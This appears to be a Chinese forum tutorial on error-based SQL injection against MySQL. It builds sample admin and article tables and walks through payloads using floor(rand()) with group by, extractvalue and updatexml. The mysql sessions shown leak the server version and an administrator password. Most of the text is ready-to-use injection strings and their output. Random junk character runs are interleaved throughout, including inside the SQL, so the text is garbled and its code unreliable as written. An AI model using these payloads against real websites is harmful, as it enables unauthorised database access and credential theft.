% }" P0 q6 ~8 [9 Z- T: D " D) B* X( n9 v9 F- g: R' C
mysql> describe admin;; E0 r) z5 u5 w9 U4 A
+-------+------------------+------+-----+---------+----------------+ 7 `2 \6 U7 Z' h' ?| Field | Type | Null | Key | Default | Extra |% A r. z; w0 c$ M# |
+-------+------------------+------+-----+---------+----------------+3 j1 |: C ~1 e4 j" I& E
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |1 e# N! C+ d5 M
| user | varchar(50) | NO | | NULL | |+ t) E* h" k4 M. J' Z
| pass | varchar(50) | NO | | NULL | | $ r" K3 ]' L, p! `+-------+------------------+------+-----+---------+----------------+% @- N' {$ M- ~9 o
( g. T4 R. N2 u1 W+ w. x: [: f , y' u( v2 R" O: R; M9 y% a$ f [ 5 l+ H, ?0 U# ?* J" ~mysql> describe article; A& o* A' X" O3 Z4 p6 |1 a4 x+---------+------------------+------+-----+---------+----------------+9 L a8 h; o' m+ f8 N& Q
| Field | Type | Null | Key | Default | Extra | 3 V4 Q( [' G1 O7 J) i# s+---------+------------------+------+-----+---------+----------------+ ! E& n5 e$ L K2 `0 A& O, Z4 V* u| id | int(10) unsigned | NO | PRI | NULL | auto_increment | 0 {5 s# g; O4 n- r6 k| title | varchar(50) | NO | | NULL | |; H6 t }" P- X8 H
| content | varchar(50) | NO | | NULL | | ' @% a+ V7 f6 s! V$ l- N* I3 h+---------+------------------+------+-----+---------+----------------+6 B8 q: o4 ~( W9 ^+ D
1、通过floor报错 ; L/ m9 _' i- G* M/ C+ H* |可以通过如下一些利用代码: q ?4 \! K. j% ~3 K. e1 C' u
- N7 w: P) }+ ?5 D* f. U* W/ ?
8 \/ V- |) A# q
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x! o& R0 N/ z$ c2 Q$ Y/ B
from information_schema.tables group by x)a); ' H1 E# Z( S# @% h4 ^ 6 k" ~/ f% ~$ _' w% D( ~5 F/ B2 R) c 4 i4 u, a# V/ s' Z
and (select count(*) from (select 1 union select null union select !1)x + N: c- y# c* \: o* \7 u) sgroup by concat((select table_name from information_schema.tables limit 1), 5 D+ n8 m9 r% b& u. xfloor(rand(0)*2))); * ^2 Q1 H' P, _# n举例如下： . E5 I# E/ M2 o: `% p/ P6 h* M首先进行正常查询： ! T* Q4 N7 M/ G. M z: x 0 p5 ^" H7 ? `mysql> select * from article where id = 1; 7 y; F; O% k5 ~$ X5 l3 S3 n+----+-------+---------+ ' w' F: T, v3 q9 N" S# u$ G+ F* B| id | title | content | 8 }" S# A. r! H( b/ N+----+-------+---------+ 0 P" I% Q/ F9 x- L* Q| 1 | test | do it | : X8 R ~' v" C4 W3 R8 y9 v+----+-------+---------+ ' c# G+ Q, P7 W2 k& R3 [* K假如id输入存在注入的话，可以通过如下语句进行报错。5 [, @( f, t z( R# M" z7 `: k
; D& ]1 y; u# G2 N7 d) k4 Q
8 B7 V- ?( a4 L& a! p% f
mysql> select * from article where id = 1 and (select 1 from 9 P \/ S+ I" B3 `! C(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); i M. }) C; x
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'8 s& P6 ~' y" _3 I5 \; B/ [
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。 - k1 k/ |1 v% h7 D例如我们需要查询管理员用户名和密码：7 S+ G+ j0 I9 `- y# P
Method1: ( E2 t$ L- g* H6 E9 B" I % ?- p. l- P+ Q- m. e- v. ~ $ G9 f( N: |$ q- d2 h: omysql> select * from article where id = 1 and (select 1 from $ s, \* R U6 C' a$ Q8 t$ C(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x 2 `1 f, y; p- l6 P8 @from information_schema.tables group by x)a); : y0 z Q+ b% E, jERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'8 r: Z' ^6 s' e$ H' ?6 S
Method2:: B( l& r2 r" j7 m1 R
' x. {' k* U% Z/ p) C; v
; m* g! t4 j) E! S" F3 Zmysql> select * from article where id = 1 and (select count(*) - b5 ^$ E7 O! y9 c# i, Y: B6 Sfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),+ r; C R! j# C: u, _2 Q; t
floor(rand(0)*2)));" d3 h) T. H9 D _, F2 [
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' 4 D3 n; p N* w: k2 f% t" u2 f2、ExtractValue& ~- ]' C9 {' m8 p/ ~" W6 i
测试语句如下: y# n' Y6 o+ S' l# _
+ W0 x- O. B2 G9 t5 i4 P
5 H/ @/ |2 w! f# Q& aand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 7 g& d9 a7 k3 `" h实际测试过程/ Z6 ^- t. H+ D' \9 G& p
% d3 a" {) @8 `
6 g* p# {0 E' G
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c, $ ~8 q- P* @- J; q/ d Y+ o(select pass from admin limit 1)));--$ ~$ D4 ^+ G4 x8 H$ ^1 F8 `
ERROR 1105 (HY000): XPATH syntax error: '\admin888' ! G4 z3 N6 |: p3、UpdateXml. N6 x- h9 ]3 |8 _
测试语句$ k+ g; \/ D5 |
. n; w+ V7 b! _# Q$ C: G % H( w; e2 R+ k* i
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))# Q0 E7 q: t: s+ H
实际测试过程 , B w% L* z4 m: m 8 y' w' U- e2 x8 W; T
$ i. Z% R3 ^: \. vmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24, E- \0 d1 [& s$ N
(select pass from admin limit 1),0x5e24),1));- q4 T* x- v( c
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$' , q+ R' F4 L8 x( }8 ]8 S& x* m) iAll, thanks foreign guys. 9 x/ n) b" [/ ? 8 |2 ]% c5 y$ o z" m- [ % R5 |3 S) U. `2 [$ \